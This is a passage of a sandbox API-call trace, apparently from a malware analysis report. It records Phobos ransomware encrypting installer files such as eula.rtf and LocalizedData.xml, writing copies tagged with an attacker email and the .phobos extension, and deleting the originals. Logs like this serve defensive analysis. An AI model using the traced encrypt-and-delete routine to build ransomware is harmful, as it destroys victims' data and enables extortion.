lpOverlapped=0x0) returned 1 [0044.792] CryptEncrypt (in: hKey=0x10dc310, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x15110, dwBufLen=0x15110 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x15110) returned 1 [0044.792] WriteFile (in: hFile=0x320, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x15110, lpOverlapped=0x0) returned 1 [0044.794] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dbe10) returned 1 [0044.794] CryptSetKeyParam (hKey=0x10dbe10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.794] CryptEncrypt (in: hKey=0x10dbe10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0044.794] CryptDestroyKey (hKey=0x10dbe10) returned 1 [0044.794] WriteFile (in: hFile=0x320, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0044.794] CryptDestroyKey (hKey=0x10dc310) returned 1 [0044.794] CloseHandle (hObject=0x310) returned 1 [0044.794] CloseHandle (hObject=0x320) returned 1 [0044.796] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1 [0044.797] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0044.797] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.798] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3188) returned 1 [0044.798] CloseHandle (hObject=0x320) returned 1 [0044.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0044.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.798] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.798] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.798] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.798] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0044.798] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc310) returned 1 [0044.798] CryptSetKeyParam (hKey=0x10dc310, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.798] ReadFile (in: hFile=0x320, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xc74, lpOverlapped=0x0) returned 1 [0044.812] CryptEncrypt (in: hKey=0x10dc310, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xc80, dwBufLen=0xc80 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xc80) returned 1 [0044.812] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xc80, lpOverlapped=0x0) returned 1 [0044.813] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dbf50) returned 1 [0044.813] CryptSetKeyParam (hKey=0x10dbf50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.814] CryptEncrypt (in: hKey=0x10dbf50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0044.814] CryptDestroyKey (hKey=0x10dbf50) returned 1 [0044.814] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0044.814] CryptDestroyKey (hKey=0x10dc310) returned 1 [0044.814] CloseHandle (hObject=0x320) returned 1 [0044.814] CloseHandle (hObject=0x310) returned 1 [0044.814] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1 [0044.815] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0044.815] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0044.815] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=77232) returned 1 [0044.815] CloseHandle (hObject=0x310) returned 1 [0044.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0044.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.816] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0044.816] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.816] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.816] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.816] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dbdd0) returned 1 [0044.816] CryptSetKeyParam (hKey=0x10dbdd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.816] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x12db0, lpOverlapped=0x0) returned 1 [0044.828] CryptEncrypt (in: hKey=0x10dbdd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x12dc0, dwBufLen=0x12dc0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x12dc0) returned 1 [0044.828] WriteFile (in: hFile=0x320, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x12dc0, lpOverlapped=0x0) returned 1 [0044.830] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc4d0) returned 1 [0044.830] CryptSetKeyParam (hKey=0x10dc4d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.830] CryptEncrypt (in: hKey=0x10dc4d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0044.830] CryptDestroyKey (hKey=0x10dc4d0) returned 1 [0044.830] WriteFile (in: hFile=0x320, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0044.830] CryptDestroyKey (hKey=0x10dbdd0) returned 1 [0044.830] CloseHandle (hObject=0x310) returned 1 [0044.830] CloseHandle (hObject=0x320) returned 1 [0044.832] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1 [0044.833] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0044.833] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.280] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3702) returned 1 [0045.280] CloseHandle (hObject=0x320) returned 1 [0045.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0045.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.281] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.281] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.281] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.281] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.281] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10c8d90) returned 1 [0045.281] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.281] ReadFile (in: hFile=0x320, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xe76, lpOverlapped=0x0) returned 1 [0045.296] CryptEncrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xe80, dwBufLen=0xe80 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xe80) returned 1 [0045.296] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xe80, lpOverlapped=0x0) returned 1 [0045.297] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10c8e50) returned 1 [0045.297] CryptSetKeyParam (hKey=0x10c8e50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.297] CryptEncrypt (in: hKey=0x10c8e50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0045.297] CryptDestroyKey (hKey=0x10c8e50) returned 1 [0045.297] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0045.297] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0045.297] CloseHandle (hObject=0x320) returned 1 [0045.297] CloseHandle (hObject=0x310) returned 1 [0045.298] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1 [0045.299] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0045.299] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.299] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=77022) returned 1 [0045.299] CloseHandle (hObject=0x310) returned 1 [0045.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0045.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.299] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.299] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.299] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.299] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.299] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10c8d90) returned 1 [0045.299] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.299] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x12cde, lpOverlapped=0x0) returned 1 [0045.310] CryptEncrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x12ce0, dwBufLen=0x12ce0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x12ce0) returned 1 [0045.310] WriteFile (in: hFile=0x320, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x12ce0, lpOverlapped=0x0) returned 1 [0045.312] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10c8e10) returned 1 [0045.312] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.312] CryptEncrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0045.312] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0045.312] WriteFile (in: hFile=0x320, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0045.312] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0045.313] CloseHandle (hObject=0x310) returned 1 [0045.313] CloseHandle (hObject=0x320) returned 1 [0045.314] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1 [0045.315] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0045.316] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.316] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3526) returned 1 [0045.316] CloseHandle (hObject=0x320) returned 1 [0045.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0045.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.316] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.316] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.316] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.316] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.317] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10c8d90) returned 1 [0045.317] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.317] ReadFile (in: hFile=0x320, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xdc6, lpOverlapped=0x0) returned 1 [0045.322] CryptEncrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xdd0, dwBufLen=0xdd0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xdd0) returned 1 [0045.322] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xdd0, lpOverlapped=0x0) returned 1 [0045.323] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10c9490) returned 1 [0045.323] CryptSetKeyParam (hKey=0x10c9490, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.323] CryptEncrypt (in: hKey=0x10c9490, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0045.323] CryptDestroyKey (hKey=0x10c9490) returned 1 [0045.323] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0045.323] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0045.323] CloseHandle (hObject=0x320) returned 1 [0045.324] CloseHandle (hObject=0x310) returned 1 [0045.324] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1 [0045.325] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0045.325] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.325] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=82962) returned 1 [0045.325] CloseHandle (hObject=0x310) returned 1 [0045.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0045.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.325] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.325] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.325] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.326] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.326] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10c8e50) returned 1 [0045.326] CryptSetKeyParam (hKey=0x10c8e50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.326] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x14412, 